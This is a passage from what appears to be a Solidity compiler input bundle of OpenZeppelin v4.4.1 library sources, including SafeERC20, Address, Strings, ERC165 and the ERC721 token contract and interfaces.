new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n" - }, - "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(\n IERC20 token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n uint256 newAllowance = oldAllowance - value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) {\n // Return data is optional\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n" - }, - "@openzeppelin/contracts/utils/Context.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n" - }, - "@openzeppelin/contracts/utils/Address.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC721/ERC721.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: balance query for the zero address\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: owner query for nonexistent token\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n require(_exists(tokenId), \"ERC721Metadata: URI query for nonexistent token\");\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overriden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n require(_exists(tokenId), \"ERC721: approved query for nonexistent token\");\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: transfer caller is not owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: transfer caller is not owner nor approved\");\n _safeTransfer(from, to, tokenId, _data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `_data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, _data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n require(_exists(tokenId), \"ERC721: operator query for nonexistent token\");\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, _data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer of token that is not own\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits a {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits a {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param _data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n" - }, - "@openzeppelin/contracts/token/ERC721/IERC721.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n" - }, - "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n" - }, - "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n" - }, - "@openzeppelin/contracts/utils/Strings.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n}\n" - }, - "@openzeppelin/contracts/utils/introspection/ERC165.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n" - }, - "@openzeppelin/contracts/utils/introspection/IERC165.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" - }, - "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721.sol\";\nimport \"./IERC721Enumerable.sol\";\n\n/**\n * @dev This implements an optional extension of {ERC721} defined in the EIP that adds\n * enumerability of all the token ids in the contract as well as all token ids owned by each\n * account.\n */\nabstract contract ERC721Enumerable is ERC721, IERC721Enumerable {\n // Mapping from owner to list of owned token IDs\n mapping(address => mapping(uint256 => uint256)) private _ownedTokens;\n\n // Mapping from token ID to index of the owner tokens list\n mapping(uint256 => uint256) private _ownedTokensIndex;\n\n // Array with all token ids, used for enumeration\n uint256[] private _allTokens;\n\n // Mapping from token id to position in the allTokens array\n mapping(uint256 => 